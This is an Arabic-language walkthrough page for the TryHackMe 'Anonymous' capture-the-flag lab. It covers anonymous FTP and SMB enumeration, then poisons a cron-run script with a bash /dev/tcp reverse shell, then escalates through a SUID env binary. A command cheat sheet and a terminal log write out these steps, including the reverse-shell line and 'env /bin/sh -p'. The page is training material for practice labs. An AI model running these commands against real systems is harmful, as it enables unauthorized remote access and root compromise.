Lab: Anonymous | STY IT Labs
STY IT Labs · TryHackMe · Hard

Lab: Anonymous
Anonymous FTP + Cron Poisoning + SUID env

سيرفر لينكس بيسمح بدخول FTP Anonymous على مجلد Scripts قابل للكتابة بالكامل — استبدال سكربت التنظيف اللي بيشتغل تلقائياً كل 5 دقائق بريفرس شِل، وتصعيد صلاحيات عبر SUID binary غير متوقع.

HardAnonymous FTPWritable Cron ScriptSUID env PrivEsc
FTP
Hard
1.5-2.5h
5 مهام
290 XP
TryHackMe
Linux

عن اللاب

لاب Anonymous بيبدأ بفحص بسيط بيكشف FTP (21)، SSH (22)، وSamba (139/445). الدخول بـ Anonymous FTP (من غير باسورد) بيديك وصول لمجلد scripts — وده قابل للكتابة بالكامل (drwxrwxrwx)! جوه المجلد سكربت clean.sh بيتشغل كل 5 دقائق عبر Cron Job على السيرفر، وملف to_do.txt فيه ملاحظة من الأدمن بتقول “لازم أقفل الـ Anonymous Login”. استبدال clean.sh بريفرس شِل بسيط كفاية عشان توصل ليوزر namelessone لما الـ Cron يشتغل. التصعيد هنا مختلف عن المعتاد: sudo -l مش متاحة (مفيش باسورد)، لكن البحث عن SUID binaries بيكشف حاجة غريبة: /usr/bin/env نفسه معاه SUID Bit — استغلال GTFOBins كلاسيكي بيدّيك Root فوراً.

لما sudo -l يفشل لعدم معرفة الباسورد، دور على SUID binaries بدالها — find / -perm -u=s.

Anonymous Badge

أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn

مسار الهجوم

1

Nmap — FTP + SSH + Samba

فحص أساسي يكشف 21 (vsftpd)، 22 (OpenSSH)، 139/445 (Samba).

vsftpd
2

smbclient — عرض المشاركات

smbclient -L بكريدنشيلز فاضية بيكشف شيرات print$ وpics وIPC$.

Samba Shares
3

FTP Anonymous → مجلد scripts قابل للكتابة

تسجيل دخول Anonymous، مجلد scripts صلاحياته drwxrwxrwx بالكامل، وفيه clean.sh وto_do.txt.

Anonymous FTP
4

تسميم Cron Job

استبدال clean.sh بريفرس شِل — السكربت بيتشغل تلقائياً كل 5 دقائق عبر crontab بصلاحيات namelessone.

Cron Poisoning
5

namelessone Shell → user flag

بعد دورة الـ Cron، الريفرس شِل بيوصل بصلاحيات namelessone.

namelessone
6

SUID env → Root 🏆

find -perm -u=s بيكشف /usr/bin/env معاه SUID — استغلال GTFOBins (env /bin/sh -p) بيديك Root كامل.

GTFOBins env

مراحل اللاب

Recon
SMB Shares
Anon FTP
Cron Poison
namelessone Shell
Root via env 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
smbclient -L //<IP>/ -Nعرض مشاركات Samba بكريدنشيلز فاضيةEnum
ftp <IP> (anonymous/anonymous)دخول FTP من غير باسوردLogin
cd scripts; mget *تحميل كل ملفات المجلد القابل للكتابةEnum
echo ‘bash -i >& /dev/tcp/<IP>/4444 0>&1’ > clean.shاستبدال السكربت بريفرس شِلExploit
put clean.shرفع النسخة المسمومة على نفس المسار في FTPExploit
nc -lvnp 4444انتظار تنفيذ الـ Cron Job والحصول على شِلShell
find / -user root -perm -u=s 2>/dev/nullاكتشاف SUID غير عادي على /usr/bin/envPrivEsc
env /bin/sh -pاستغلال GTFOBins لـ env SUID → RootRoot

المهام والأسئلة

Task 1 — FTP & SMB Enumeration

smbclient · ftp anonymous · تحميل ملفات scripts

+50 XP

Task 2 — Cron Job Poisoning

استبدال clean.sh · انتظار التنفيذ التلقائي

+90 XP
03

Task 3 — Root via SUID env 🏆

find SUID · GTFOBins env · root.txt

+90 XP
▶ أدخل الـ Flag

Terminal — Anonymous Full Attack

root@kali — Anonymous
# FTP anonymous
ftp 10.10.X.X
Name: anonymous Password: anonymous
cd scripts && mget *

# Poison cron script
echo ‘bash -i >& /dev/tcp/10.X.X.X/4444 0>&1’ > clean.sh
ftp> put clean.sh
nc -lvnp 4444
[+] namelessone@anonymous:/var/ftp/scripts$

# SUID enum -> env
find / -user root -perm -u=s 2>/dev/null
/usr/bin/env
env /bin/sh -p
# whoami → root
└─#

المهارات المكتسبة

Anonymous FTP Abuse
Cron Job Poisoning
SMB Null Session
Reverse Shell via Scheduled Task
SUID Binary Enumeration
GTFOBins env PrivEsc

الأدوات المستخدمة

smbclient / ftpالوصول لمشاركات Samba وFTP بكريدنشيلز فاضية
crontab -lالتأكد من دورية تنفيذ السكربت المستهدف
GTFOBinsمرجع استغلال env SUID للحصول على Root
مجلد قابل للكتابة بالكامل (777) بيحتوي سكربت بيتشغل بصلاحيات أعلى = تنفيذ كود فوري بمجرد ما تستنى دورة الـ Cron — مفيش حاجة اسمها ‘مجرد ملف تنظيف’.